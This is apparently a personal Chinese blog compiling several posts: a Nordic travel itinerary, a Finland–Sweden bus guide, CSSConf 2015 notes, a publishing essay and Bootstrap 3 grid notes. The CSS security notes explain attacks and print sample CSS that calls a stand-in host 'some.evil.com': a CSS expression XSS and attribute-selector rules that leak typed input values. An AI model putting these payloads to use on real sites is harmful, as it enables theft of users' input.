[2017 北歐波羅的海三國遊] 芬蘭瑞典丹麥15日行程

今年三月才完成波羅的海三國遊,之所以會選三月,是因為北歐冬夏景色差距很大,我覺得冬季行程比較精彩,但年底到二月太冷,只能在雪地打滾,三月開始不同類型景點陸續開放,或許還能抓住極光的尾巴。

我的行程是一個逆時鐘環狀,從 Helsinki 進北歐 -> Rovaniemi -> Polar Explorer 破冰船 (Haparanda 西方45公里) -> Rovaniemi -> Kemi -> Haparanda/Tornio RC -> Kiruna -> Stockholm -> 最後由 Copenhagen 出去

螢幕快照 2017-04-17 上午11.51.32.png

以下是每日行程:

Day 1. 3/18-3/19
Taipei -> Amsterdam -> Helsinki

我們是全程坐 KLM,位子小了一點,機上過的是荷蘭時間,半夜會開燈起來吃晚餐,Taipei -> Amsterdam 花了 12 小時 45 分真的超長啊啊啊啊!而且全球暖化使得亂流變多了,我目睹空姐特技把快打翻的飲料從左手換到右手(驚)

Amsterdam 是我們第一個進入歐盟的城市,因此要在這裡做入境檢查,最近恐攻的氣息蔓延到北歐,海關不但常常搜身,行程也問得很仔細,如果是出差或學生唸書還會要求把文件一份份拿出來

Helsinki Vantaa 機場降落之後坐 I Train 到市區,時差很大只能隨便晃晃熟悉環境,用 Burger King 解決了晚餐。

Day 2. 3/20
Helsinki 一日遊:西貝流士公園,岩石教堂,白教堂,愛斯普拉納地公園,芬蘭堡
晚上坐 VR 臥鋪夜車前往 Rovaniemi

Helsinki 市區沒有很小!走路會鐵腿!還是乖乖坐 Tram,車上可以用歐元向司機買票。
中午去 Kauppatori (old market hall) 市場內的 Soup Kitchen 有超好喝的魚湯!

Day 3. 3/21
中午前到 Rovaniemi,下午玩 Santa Claus Village 還有村內的馴鹿雪橇
夜宿 Rovaniemi

這裡的彩蛋是往聖誕老人村的 Line 8 公車居然直接開到火車站接人!不用提大行李走到巴士站了

Day 4. 3/22
坐接駁車前往 Polar Explorer Icebreaker,於 Kukkolaforsen 瑞典 Buffet 用午餐,下午結束後返回 Rovaniemi

本來是訂老字號的 Sampo 破冰船,出發前一個月班次居然被取消!緊急改訂 Polar Explorer,發現他水準很不錯,賽翁失馬焉知非福。

Day 5. 3/23
Ranua 動物園
傍晚坐火車到 Kemi,再轉巴士到 Haparanda/Tornio RC,夜宿 Haparanda

今晚先從芬蘭跨到瑞典,為了銜接明天到 Kiruna 的長途巴士,本來擔心 Kemi 到 Haparanda 的最晚一班巴士會放鴿子,還好安然 pass

Day 6. 3/24
移動日:從 Haparanda/Tornio RC 坐巴士前往瑞典 Kiruna,夜宿 Kiruna

Day 7. 3/25
Kiruna:Ice Hotel, 狗狗拉雪橇,夜宿 Kiruna

狗拉雪橇 8 點以前結束,三月參加這個時間還沒天黑,是看不到極光的

Day 8. 3/26
Kiruna:夜間 Snow Mobile 追極光,夜宿 Kiruna

追到啦!!!一要跟著專業的走,二要有好天氣和無光害的好地點

雪橇或 Snow Mobile 都在市區集合,由旅遊公司載你到郊外的好地方。行程通常包含一小群人坐在帳篷內由嚮導煮東西給大家吃,每次的陣容都像小型聯合國。歐美人士大都很健談,亞洲人就害羞一點,不過都很有意思。從事嚮導的都是瀟灑之人,憑著一身本事,遠離都市喧囂住在野外,不過他們很喜歡少少人這樣談天說地,北歐地廣人稀,在野外只能與動物為伍,適度與人交流對他們來講也比較健康。

Day 9. 3/27
早上搭 SAS (斯堪地那維亞航空)往 Stockholm,
下午逛舊城區、斯德哥爾摩大教堂

夜宿 Victory Hotel

舊城區有很多咖啡廳,整個北歐吃下來我覺得這種 cafe 和 bistro 的類型最經濟實惠又好吃。

今晚下了重本住進舊城區的 Victory Hotel,這是間很有趣的 Collector’s Hotel,從所有設施到服務態度一整個古典,感覺穿越到上個世紀。他 Sauna 房的裝潢令人大開眼界,有去住一定要預約。

Day 10. 3/28
Stockholm 一日遊:皇宮 Kungliga slottet + 衛兵交接 + 旁邊的地窖博物館
瓦薩沈船博物館 Vasa Museet,諾貝爾博物館
夜宿 Stockholm

一般會教大家到瓦薩博物館和北方民俗博物館要坐捷運到 Karlaplan,但實際上離捷運站真的有點遠,還不如坐船或公車

本來想加碼 Skansen 露天博物館,但三四點就關了,注意露天博物館也是有門禁的。

諾貝爾博物館,除非你真心熱愛科學,不然我勸你不要去。

晚餐吃網上推薦的 Fem Små Hus,我覺得他有點老派啦,咖啡廳比較合我胃口。

Day 11. 3/29
Stockholm:當代美術館 (Moderna Museet)
乾草市集,周圍的 Designtorget, Hötorgshallen 市場
夜宿 Stockholm

到乾草市集時剛好下雨,小販賣的都是鮮花鮮果,觀光客也不方便買,其他物品質感也不好,沒有想像中好玩。我們買草莓時,還被看起來像移民的小販強迫推銷,買一盒刷卡下去變兩盒也沒有經過我們同意。

倒是周圍的大超市和百貨公司很好逛,我們進去的 Hötorgshallen 市場販賣各種 Cheese、肉類、食品、調味料、飲料,喜歡做菜的人一定會失心瘋。 超好吃的魚料理輕食店 Kajsas Fisk,每人價格一百克朗上下也還好。

Designtorget 是北歐的生活工場,他們這種設計商店都有很一致的北歐風格。

Day 12. 3/30
早上搭火車 Stockholm -> Copenhagen
下午 運河遊 Canel Tour of Copenhagen
夜宿 Copenhagen

Day 13. 3/31
Copenhagen 一日遊:玫瑰宮 + 衛兵交接,國王花園,
下午到設計博物館(Designmuseum Danmark),之後稍微逛逛 Stroget 步行街

夜宿 Copenhagen

Day 14. 4/1
早上搭火車去 Odense,安徒生博物館,安徒生兒時故居
傍晚回 Copenhagen Stroget 步行街繼續逛逛
夜宿 Copenhagen

Stroget 步行街很長,靠市政廳和火車站這一端比較高級,靠哥本哈根大學的一端比較物美價廉。

Day 15.
Copenhagen -> Amsterdam -> Taipei

整體來講雖然行程有一點點滿,但是不至於太誇張。有幾個大心得:

  1. 很多旅行社喜歡賣『北歐四國』十幾日遊,這樣只能玩好四國的『首都』而已,真心不騙,頂多加一兩個衛星城市。北歐雖然交通很方便,但畢竟幅員廣闊,不像臺灣四通八達還能走路到。每個景點都值得細細觀賞,但開放時間有限,一個首都城市花上三天是很基本的。如果你像我一樣還想快閃來回北極圈,那非常肯定無法去滿四國。
  2. 北歐博物館大多晚晚開(10~12),早早關 (16:30~18),星期一幾乎都休館。9月到3月的冬季,甚至更早關。大部份館藏豐富,很多人跟我一樣用斯德哥爾摩卡這樣的 City Pass ,會很想 24 或 48 小時之內搞定,但實際上一天排兩大一小,在時間和吸收度上都已經是極限了。市集 6 點左右關,百貨 7~8 點關,晚上就只剩酒吧和超市了。去了這就去不了那,對於講求效率的台灣人來講也許有點懊惱。不過,來到北歐不就是為了體驗從容不迫的氣息嗎?北歐人沒在趕時間的,“Try it tomorrow.” 是他們的口頭禪。
  3. 長途移動後難免舟車勞頓,下車(機)後不要急著去太硬的行程,逛逛街、坐坐船、買買紀念品或吃吃小吃喝喝咖啡是比較悠閒的安排,不然隔天沒精神或生病就得不償失了。
  4. 都市一日遊,旅遊書或文章都會建議大家去很多皇宮、教堂、歷史博物館、美術館,這類景點雖然是主要文化遺產,不過都很花時間,內容也很硬,還常作為宣揚國威的工具。而且北歐各國皇宮和教堂看起來同質性很高,我覺得我去得太多了,如果你對這方面不那麼有興趣,建議還是多搭配軟性和生活化的行程,比如說現代設計館、公園花園、樂園,甚至逛街逛市集。
  5. 北歐人英文很好,路邊阿媽都會講英文,到處都是雙語。路人甚至會主動提供協助,不過他們有自己的節奏,你姍姍來遲請他們趕一下或插件是不太可能的事。他們不喜歡檢查,但很注重規定,逃票、規定外的事情亂凹人家,不但不會成功,還會引來執法人員。
  6. 北歐物價超高,一般消費大約是台灣的三倍,不過學校周圍有讓學生消費的餐廳和商店,像哥本哈根大學鄰近步行街,物美價廉,甚至有 99 克朗的 Buffet,也有相當於我們的大創這種雜貨小物店。食物份量沒有美國那麼大,但比起台灣大不少。點來的湯都是用碗公裝的,沒有人在用小碗。不要點太多了,吃不完浪費的可是三倍價錢。幾乎沒有人在給小費。

接下來希望把整個行程慢慢補齊囉!

[2017 北歐波羅的海三國遊] Rovaniemi -> Kiruna 芬蘭瑞典跨境攻略

我的行程是一個逆時鐘環狀,從 Helsinki 進北歐 -> Rovaniemi -> Polar Explorer 破冰船 (Haparanda 西方45公里) -> Rovaniemi -> Kemi -> Haparanda/Tornio RC -> Kiruna -> Stockholm -> 最後由 Copenhagen 出去。

螢幕快照 2017-04-17 上午11.51.32.png

中間的大挑戰就是從芬蘭跨瑞典邊界到 Kiruna,先來講講這段。客棧裡眾說紛紜,窮游只有一兩人發表,有的是方向相反,有的是前幾年的資料,班次早都改了。當然可以用貴婦走法, 從 Rovaniemi 坐飛機到瑞典南邊 Stockholm, Stockholm 飛機來回 Kiruna,但這樣不是很浪費地球資源嗎?機票幾趟下來也不便宜,機場和市區間又要銜接。因此積極尋找陸路的走法,踏破鐵鞋終於得到以下結論:

芬蘭到瑞典之間沒有火車直通,甚至也沒有巴士直通,芬蘭火車最遠只能坐到 Kemi,Kemi 是芬蘭往瑞典方向的最後火車站,到了 Kemi 以西就得用巴士銜接了。接下來,芬蘭巴士最遠開到邊境的雙聯市 Haparanda/Tornio RC,往瑞典境內各地就要換乘瑞典巴士。北歐週一到週五的火車巴士班次和週六日可能不同,進瑞典後時間還會撥慢一小時,增加行程的複雜度。

我能找到的走法有以下幾種:

方法 1. 巴士接巴士

Kemi 搭芬蘭巴士 (NET-Matkat 或 Ketosen Liikenne 等等) -> Haparanda/Tornio RC
Haparanda/Tornio RC 搭瑞典 Bus 53 (Länstrafiken Norrbotten) -> Kiruna

這是我最後所選的走法,Kemi -> Haparanda/Tornio RC 很近只要 20 分鐘,且班次不少,可以用 Eurail Pass 免費搭乘,或向司機購票。Haparanda/Tornio RC -> Kiruna 這段雖然要六小時,但總體轉車次數較少,在人生地不熟又跨時區的情況下較有把握,加上行李多一直轉車就不方便了。

* Kemi -> Haparanda/Tornio RC 巴士班次表,日期自己換
https://liput.matkahuolto.fi/connectionlist?lang=en&arrivalPlaceId=s47504&departurePlaceId=p1379&departureDate=2017-04-19

時刻表上有月台編號,車會停在正確的月台,不要亂上車喔

* Haparanda/Tornio RC -> Kiruna 的 Bus 53 班次表(右半):
http://www.ltnbd.se/tidtabeller/print4web/Stomlinjer/161211_171209/Stomlinjer_53_161211_171209.pdf

今年是這份,會定期更新
螢幕快照 2017-04-16 下午10.59.51.png

往北到 Kiruna 的巴士,週一到週四只有早上 10:40 一班,週五增加下午 17:20 的班次,到 Kiruna 已經超級晚了。週日只有 13:35 一班。從 Kemi 過來注意班次要接得上。

*瑞典長途巴士都在這個網站
http://ltnbd.yoursuniverse.se/en/home/

螢幕快照 2017-04-17 下午12.14.46.png

這裡只用來查班次,他會引導你到 Priser & biljetter 線上購票,400 多克朗,上車時拿給司機看即可。
null

到 Kiruna 一路上雪景靈氣逼人,偶有野生動物出沒,減輕不少長途巴士的無聊。

方法 2. 不想全程坐巴士,可到瑞典境內的第一個火車站 Luleå 換火車

Kemi -> Haparanda/Tornio RC
Haparanda/Tornio RC 搭瑞典巴士 -> Luleå
Luleå 坐火車 -> Kiruna

Luleå -> Kiruna 的火車班次還好,時間表類似這樣

螢幕快照 2017-04-16 下午10.57.11.png

(有些班次不是 SJ 而是 Norrtåg 瑞典私營火車,但用 Eurail pass 可以坐)

不過,前一段巴士 Haparanda/Tornio RC -> Luleå 就要兩個半小時,據說每天只有三班,銜接風險蠻大;到了 Luleå 又要從巴士站走到火車站,如果下雪又有行李就更慢了。轉多次車沒有省下多少時間,感覺不划算,除非你比較信任火車。

方法 3. Haparanda/Tornio RC 經由 Töre 換車再到 Kiruna

這我比較不清楚,唯一好處是多幾個班次選擇。

重要 Tips:

1. 如果是從別的城市坐火車到 Kemi,到了 Kemi 火車站後要走到 Kemi 巴士站,距離不遠,但中間要過馬路。
2. Haparanda/Tornio RC 和 Haparanda 是兩個不同的車站!
Haparanda/Tornio RC 長這樣,要坐往 Kiruna 的 Bus 到這裡

1000.jpg

比較好認的特徵是旁邊有 IKEA,芬蘭司機可能講這站是 Haparanda,他位置已經在瑞典了,在芬蘭內的才叫 Tornio。

但瑞典司機認為的 Haparanda 巴士站或許是下面這個:

DSC3474.jpg

兩者相距好幾百公尺,千萬別弄錯,講不清楚趕快拿出圖片和班次表比劃。

螢幕快照 2017-04-17 下午3.02.43.png

3. 到 Kiruna 的巴士兩三小時會換一次司機,以免疲勞駕駛。看到司機換人不要急著跑下車啊。

中間休息三次只有最後一次有便利商店,乘客大多在車上解決方便問題,車上廁所還可以,跟火車廁所差不多。

最後講個插曲,原本半年前就訂好了在 Kemi 的 Sampo 破冰船,玩完後往瑞典 Kiruna 去看極光,這樣前一段只要操心從 Kemi -> Haparanda/Tornio RC 的車即可。不料人算不如天算,出發前一個月居然被 Sampo 公司取消船班了,只好趕緊改訂新開的 Polar Explorer 破冰船,他是往返 Rovaniemi 接送的,因此我們在 Rovaniemi 多待一兩天,再加一段到 Kemi 的火車。這段火車不賣無座票,必須要訂位喔。

從 Rovaniemi 坐火車到 Kemi -> Kemi 換巴士到 Haparanda/Tornio RC -> 再換巴士到 Kiruna,三段車全擠在一個早上銜接,又換時區太容易出錯,所以實際上我是前一晚先前進到 Haparanda ,在汽車旅館住一晚,第二天早上再去 Haparanda/Tornio RC 搭往 Kiruna 的長途巴士。

參考資料:

1. 感謝這位高手幫了個大忙 http://haiwaiyou.com/guide/1120
他方向相反,但資料超詳細還有畫地圖,最符合現況,尤其換司機這件事只有他講,免去許多大驚小怪。

2. 有網友照了很多 Kemi 與 Luleå 間巴士、車站、換乘路線的實況照片,還附註哪些可以用 pass,看完就不怕上錯車了

https://blog.rail.cc/from-kemi-to-lulea-by-bus/

CSSConf 2015 筆記(三) – Performance 及其他

除了前兩部分 PostCSS 和 CSS Modules 之外,這次 Conf 的方向,怎麼說呢,應該說『分歧』吧。有些人致力於把人工比重減到最低,另一群人繼續苦苦琢磨 hand craft 的奇技淫巧,兩者往完全相反的方向前進…。或許就如神同事所說,CSS 正走到一個摸索未來發展的階段,這沒有不好,代表你可以依照不同的專案需求,自己挑選適合的路。不過還是有些內容對各方都有幫助,整理一下。

CSS Performance

這個 session 講者比較強調的重點,是要減少 CSS 的寫法讓畫面重繪的次數和面積。例如:

  • 將 :hover selector 下在面積比較小的 element 上
  • 在捲動的時候關掉 hover 事件的 listener
  • 注意捲動時有哪些 element 被重繪
  • 把經常更動的 element 放在檔案前面也有幫助
  • 注意 position:fixed 和 scrollable 的 element 會常常被重繪
  • 動畫造成的重繪,可以用以下方法提醒 Browser 要提早 optimize 資源:
    .move-elem {
      will-change: transform;
    }
    .move-elem {
      transform: translateZ(0);
    }
    

《原始投影片》

CSS Class Name Magic and CSS Security

這個 session 講者提出了幾個不為人知但早已存在的 CSS fun facts 外,也提醒 CSS 可能的安全性問題。

  • 可以重複同一個 selector 來取代 !important
    .bar {
      background: blue !important;
    }
    /* 下面選到的也是 .bar */
    .bar.bar.bar.bar.bar {
      background: blue;
    }
    
  • 有空格的 font-family 名稱其實不需要引號
    div {
      font-family: Comic Sans MS;
    }
    
  • 單行註解可以 work,因為不會被正確解析反而達到註解效果
    div {
    /* 正確的註解 */
    // 單行註解
    }
    
  • 用 escape 可以寫出奇奇怪怪的 class name
    螢幕快照 2016-02-19 下午5.02.26
    螢幕快照 2016-02-19 下午5.04.02
  • 最重要的是早期的 CSS expression 或 background-image 可能成為駭客攻擊的管道。例如:
    <meta http-equiv='x-ua-compatible' content='IE=7'>
    <!-- 通常都設成 content='IE=edge',這邊刻意設成 IE=7,瀏覽器就兼容 IE7 了-->
    
    div {
      width: expression(
       open('http://some.evil.com?v=a');
        alert('XSS');
      );
    }
    

    以下是一個用 css 偷 input 資料的 demo
    http://eaea.sirdarckcat.net/cssar/v2/

    它原理是利用屬性讀取 CSS selector [value^=”a”],讀取 26 個字母,每當 user 打一個字母,CSS 就 apply 這個字母的 background-image,但 background-image 的路徑指向駭客網站,剛好把 user 打的值送過去,真的很厲害啊!

     input[value^='a'] { background-image: url('//some.evil.com?v=a'); }
     input[value^='b'] { background-image: url('//some.evil.com?v=b'); }
    

《原始投影片》

CSSConf 2015 筆記(二) – CSS Modules

CSS Modules 是過去一兩年來 CSS 領域最夯的話題了,尤其是 Web App 成長的速度高過 Content Site,CSS 層疊、覆寫、繼承的特性沒有幫到 Web App 反而造成污染,衍生了維護和 performance 方面的議題。兩位 CSS Modules 的作者從頭說起,分析從 global CSS  到 local CSS 的演變。

Document vs. Web App

所有學習 CSS 的人都知道 CSS Zen Garden,這是 web document 的代表。global CSS 對 document 來講沒什麼不好,每個篇章能簡潔地共用一份樣式。但 document 和 web app 最大的差異在 scale,善於寫樣式的人未必善於處理 scale。web app 結構複雜得多,巢狀和 reuse 也更頻繁,global CSS 有很大機率造成 class name 衝突和意外的繼承。

The End of Global CSS and The Rise of Modular CSS

開發社群過去嘗試過許多手段來解決這個問題,如 SMACSS, OOCSS, SUIT, BEM,甚至 inline styles。Sass 試圖以 @import partials 解決,但它只處理到 CSS,而且最後產出的仍是 global CSS。既然目前 web app 大量仰賴 Angular directive 和 React,作者提出未來(就是現在!)是 “component" 的時代,component 不是新東西,舉個簡單的例子,一個 <select> 下拉選單也可以看成一個 component。

當一個 project 使用許多 component 時,每個 component 的成員包含 js + css + images,所有圖片和 CSS 應該都只讓使用它們 component 看到 (CSS and images should be private to the components)。BEM 命名法與 React 合作良好,BEM 的 B (Block) 相當於 React 的各個 component。螢幕快照 2016-02-12 上午2.04.36

講者認為目前實踐 CSS Modules 的最佳工具是 Webpack,它能建立一條龍的 css/images/js 工作流程。
所以 CSS Modules 不像 Sass, PostCSS 是個 processor 可以用 npm 安裝,它是一種方法論,實踐這個方法論要用多種工具,Webpack 是其中最重要的一種。

在 Webpack 工作流程下,CSS 要在每個 component 裡這樣寫:

/* .myComponent.css */

:local(.className) {
 background: red;
 color: yellow;
}

經 Webpack hash 處理後變成類似這樣:

.myComponent__className_23_aKvs-b8bW2Vg3fwHozO {
  background: red;
  color: yellow;
}

也就是 Webpack 做了 BEM 的事情,但 BEM 是人工手動做, Webpack 是工具自動化地做,用 load javascript module 類似的方法處理 CSS,翻譯成機器看懂的語言。

Webpack 用到的主要套件是 css-loader,加上參數 module 來啟動 CSS Module 的處理:

/* webpack.config.js */

var css = require('css!./myComponent.css');
....
module.exports = {
  module: {
    loaders: [
      ...
      { test: /\.css$/, loader: ExtractTextPlugin.extract('style-loader', 'css-loader?importLoaders=1&localIdentName=[name]__[local]___[hash:base64:5]') }
      ...
    ]
  },
....
}

因此任何 local CSS 都會得到獨一無二的 class name,繼承和層疊特性在 CSS Modules 完全被消滅,你不該期待與其他幾個 class 組合來補足缺少的樣式,每個 component 自己該有的樣式要全部寫好。
(以上只是觀念解說,我 Webpack 並不厲害,請勿當說明書看,看原版文件才是正辦)

https://github.com/css-modules/css-modules
https://github.com/webpack/css-loader

這裏有 demo:
https://github.com/css-modules/webpack-demo

有時候終究某些樣式需要維持 global,或需要用到第三方套件,關鍵字 :global 語法如下:

:global (.bodyClass) {
  background-color: gray;
}

這樣就不會被 Webpack 給予 hash name,而會被 compile 成 .bodyClass {}。
可以用 composes 組合多個來源的 CSS class:

:local(.className) {
  composes: edit hightlight from "./edit.css";
  composes: button from "module/button.css";
  composes: classFromThisModule;
  background: red;
}

在 React 這樣去取用樣式:

/* component/myComponent.jsx */

import styles from "./style.css";
// import { className } from "./style.css";

element.innerHTML = '<div class="' + styles.className + '">';

因為 CSS Modules 是蠻新的觀念,聽眾都很關心後續發展,問的問題都很厲害,記錄一下:
Q:要如何 debug?
A:自己拆分的 component,你應該會知道他來自哪個 module,撞名、不小心繼承問題也不存在,bug 只來自 global css 或是某個特定 module,並沒有交互污染的問題。至於如何拆分 component? It’s art.

Q:從 npm 安裝,到我的網站可以有個會動的 jquery date picker 這樣的東西需要多久?
A:jquery 套建中 CSS 某些部分可以當作 global 處理。

Q:可以和 bootstrap 這類的 framework 一起用嗎?
A:bootstrap 的思維是 global CSS,我們期待會有新一代的、符合 modular 思維的 framework 被發展出來。

看起來尚未有任何 framework 可以快速上手,只有自製的 CSS 有可能以 CSS Modules 的方法來管理。

《原始影片》


CSSConf 2015 筆記(一) – PostCSS

PostCSS 剛推出時定位很令人疑惑,它不像 Sass, Less 是 Preprocessor,而比較像是一個平台,或者說是 API,本身沒有特定的功能或語法,但可以依照需求裝上各式各樣的 plugin,整合於 node 流程。講者頻頻把 “PostCSS does nothing”當作笑點其實也只有三分是事實啦。幾個基本的部分與一般 CSS 沒什麼不同,除了 :root 可能在宣告變數時當作 scope 來用。

  • root
    :root {
     --array: foo, bar, baz;
     --from: 1;
     --to: 3;
     --icon-exclude: 2;
     --color-danger: red;
    }
    
  • rules
  • declaration
  • comment

既然“PostCSS does nothing”,他到底有什麼好處呢,又比 Sass 好在哪裡呢?因為他是純 javascript 生態系,不需像 Sass/Compass 需要安裝 Ruby,在整個 node 環境中可以和 javascript framework 或 Plugin 用同一套流程來管理。(話說 Ruby 難道不能形成自己的生態系嗎?也許不幸輸給 javascript 了 )

既然 PostCSS 唯有開外掛才能威力百倍,就來介紹幾個不錯的外掛:

  • postcss-simple-vars – 這個是一定要裝的,用 $ 宣告變數(PostCSS 變數宣告是 —foo)
  • cssnano – minify css
  • cssnext –  可使用未來的 CSS(4?) 語法,套件會 compile 成目前的語法

為喜愛寫 Sass 的人所設計,只是它不需要 Ruby

  • precss –  可以寫 preprocessor 的語法,這點可以用來整合舊專案的 code
  • cssnesting – 可以寫像 Sass 的巢狀語法
  • postcss-at-rules-variables – 可以寫類似 Sass “@"小老鼠語法,用在簡單的迴圈、if/else 等  https://github.com/GitScrum/postcss-at-rules-variables

搞怪套件:

這些套件都可以透過 npm 安裝,https://www.npmjs.com/search?q=postcss

$ npm install --save-dev gulp-postcss

用 gulp 來管理 workflow:

var postcss = require('gulp-postcss');
gulp.task('styles', function () {
  return gulp.src('path/to/dev/style.css')
  .pipe(postcss([]))
  .pipe(gulp.dest(path/to/prod))
});

 

《原始影片》

關於『出版業是夕陽產業』的淺談

因為自己喜歡書,而且對出版這個行業相當好奇,今天約了這行很資深的朋友去喝下午茶。問她對『出版業是夕陽產業』這個盛囂塵上的論調有什麼看法,大意如下。

書是個古老的行業,它存在了千百年都沒有死,可見人們是需要它的,現在也還需要。而且需要的東西都沒變,我們要做的只是把它找到,做出來。

身為做書的人,假如你自己東西讀得不夠多,無法感受到人們需要的是什麼題材,無法掌握這些題材的脈絡與深度,那你就只能做些追逐潮流的東西;因為潮流是短暫的,所以你永遠有被淘汰、被取代的焦慮。人們還是渴望隽永的東西,而隽永的、能夠長久流傳不被遺忘的題材,是有能力掌握脈絡的編者才做得出來的。這樣的題材不需要抓住每個人,只需抓住那些會欣賞和支持的人,因此要更精準,要知道你的分眾在哪裡,什麼能打動他們,這些分眾才是出版事業細水長流的泉源。很多人把出版業講得很慘,事實上並非如此,只要擊中對的主題和分眾,其實利潤算穩定,甚至可說是長尾的,一本書可以賣好幾年都還有銷量。

也不用抱著賺大錢的心理,因為快速賺錢的東西通常是潮流性的,這樣放在追逐潮流上的心思就越多。

很多人講網路和電子書會取代出版,這根本不是議題的核心。Content 才是核心,選書的眼光、讀者需要的呈現方式,內容品質,這才是書會不會賣的主要影響因素。

當然我們的餅有在變小,但餅並沒有消失。我們要更懂得善用資源,才能獲得像以前一樣的利潤。一是更需要上述的精準度、涵養和眼光,二是改變做事的方法。以前我們可能登雜誌廣告或辦活動,現在我們要學習經營部落格、下 Facebook 廣告或經營粉絲團。經營 Facebook 所需的人力與財力比辦活動少得多,在成本上反而是有利的。也有些科技或其他產業的人加進來,讓我們編輯或傳播的方式有更多選擇。

那麼我們一定不會被淘汰嗎?

只要還有那些想看書的分眾,就有做的價值。你本來就是為他們而做的呀。

其實把時間拉長來看,每個人、每件事終將被淘汰,沒理由因此就不做。

這樣聽起來,拼命講『出版業即將被時代淘汰』的反而是坐井觀天,人家利潤穩定,某些有一餐沒一餐的 start up可能還更糟。新媒體喜歡鼓吹出版業和電視是夕陽產業,說不定自己才是被淘汰焦慮最嚴重的,因為總是追新求快。『退潮之後就知道誰沒穿褲子』用在這裡再恰當不過了。

Bootstrap 2.x 與 3 的重要差異(二):grid系統的變革

上一篇 提到了 Bootstrap 2.x 到 3 整體來說有那些變動,本文把焦點放在新的 grid system。

grid系統的變革

移除了 .container-fluid 和 .row-fluid,全部都是 fluid 容器

v3 沒有分 fluid 和 non-fluid ,所以移除了 .container-fluid.row-fluid 兩個大框架容器,所有都是 fluid。

例如做 nesting column 時,大的 grid 裡面某一塊要包小 grid ,v2.x 裡面一層得寫 .row-fluid,才能在小區塊內使用12欄 grid;但 v3 只要 .row > .row > .row…… 一層層包下去就行了。

各種裝置可以有不同的佈局

v2.x 和 v3 的 grid 都是12欄。不同之處在於,v2.x 裡,grid 系統的 .span* 固定了各欄在頁面上的比例,跨裝置也一樣,比如說某一頁中間欄佔2/3,右邊側欄1/3,就這樣佈局:

 <div class="row">  
    <div class="span8"></div>  
    <div class="span4"></div>  
 </div>  

desktop (v2.x)

3-2-1

mobile (v2.x)

3-2-1-phone

這樣雖然簡單易懂,但如此一來在桌面或平板,中欄和右欄的比例都維持一定,在手機又全部展開成單欄 (Stacking) ,佈局上的彈性少一點。

實做上我遇過的問題,就是縮小到tablet 版面的狀況下,右側欄的內容太擠。舉例來說,v3 之後有機會改成:桌面版中欄與側欄是 3 : 1,到了平板,中欄與側欄改為 2 : 1 。

v3 裝置間有四個切換階段:

  • mobile – xs ( <768px )
  • tablet – sm ( 768~991px )
  • desktop – md ( 992~1170px )
  • large desktop – lg ( >1170px )

所有和 responsive 相關的 class 都以 xs, sm, md, lg 為後綴,如 .col-md-6 .hidden-xs,命名模式一致比較好辨認。

四個階段中,你可以設定混合的佈局,例如同一頁的桌面版有三欄,每欄占1/3;但到手機版時每欄各占版面的1/2,就可以這樣設定:

 <div class="row">  
    <div class="col-xs-6 col-md-4"></div>  
    <div class="col-xs-6 col-md-4"></div>  
    <div class="col-xs-6 col-md-4"></div>  
 </div>  

desktop (v3)

3-1-1-1

mobile (v3)

2-1-1-phone

.col-xs-*  是專為手機版面分兩欄以上而準備的,這樣就手機也能使用 grid,不限於單欄。

如果要 desktop, tablet, mobile 佈局都不同也沒問題,例如我要做 desktop 和 tablet 都三欄均分,mobile 變成兩欄

 <div class="row">  
     <div class="col-xs-6 col-sm-4 col-md-4"></div>  
     <div class="col-xs-6 col-sm-4 col-md-4"></div>  
     <div class="col-xs-6 col-sm-4 col-md-4"></div>  
 </div>  

desktop, tablet (v3)

3-1-1-1-mix

mobile (v3)

2-1-1-mix-phone

這樣就是『desktop 和 tablet 都三欄均分,mobile 變成兩欄』的意思。

平移用的 offset 依然存在,只是不再是分開的 class  .offset*,而是嵌在 class name 中間像 .col-md-offset-4 這樣。

如果不想這麼複雜,而想沿用 v2.x 的 grid 行為,只要單獨設 .col-md-* 就行了,到手機版時也會順利變成單欄。

下面這張表應該好好看一下,這是 Bootstrap 3 官方文件 grid system 新行為的大整理

  • Horizontal at all times: 不管在任何裝置上,欄都是並排
  • Collapsed to start, horizontal above breakpoints: 最小裝置是單欄,到了切換點以上欄就並排

Grid options

grid-table

新舊 class 名稱的完整對照,網路上已經有很多文章刊登,如 Bootstrap 3 Migration Guide ,就不重覆貼了。

非 responsive的做法

有時候還是需要不跨裝置的版面,要關掉預設的 responsive 機制,有幾個手動的步驟要做:

原文連結 Disable Responsvie

  1. 拿掉<meta>裡的 viewport 設定。
  2. 改掉 .container 的 max-width 並確保它不作用,改成 max-width: none !important;。再設定一個固定寬度,如 width: 970px。這些設定順序要在後,才能蓋掉 Bootstrap 的預設。
  3. 如果用了 navbar,要關掉所有讓 navbar 在不同裝置收合的 css 和 javascript  (太多要改!! )。
  4. 只用 .col-xs-* 來設定欄,因為它從手機到桌面各欄都能並排,不會 stacking 成單欄,而且會照比例放大。
  5. IE8 還是要用 respond.js,以讀取 media queries。

實例 Non-responsive Grid Demo

其實挺麻煩的,畢竟 Bootstrap 天性是個 responsive framework 呀。

《資料來源》

http://blog.getbootstrap.com/2013/08/19/bootstrap-3-released/
http://bootply.com/bootstrap-3-migration-guide
以下這篇是 Bootstrap 3 釋出後google到的第一篇中文心得,感謝這位前輩的引導
http://indreamhk.blogspot.tw/2013/06/bootstrap-3.html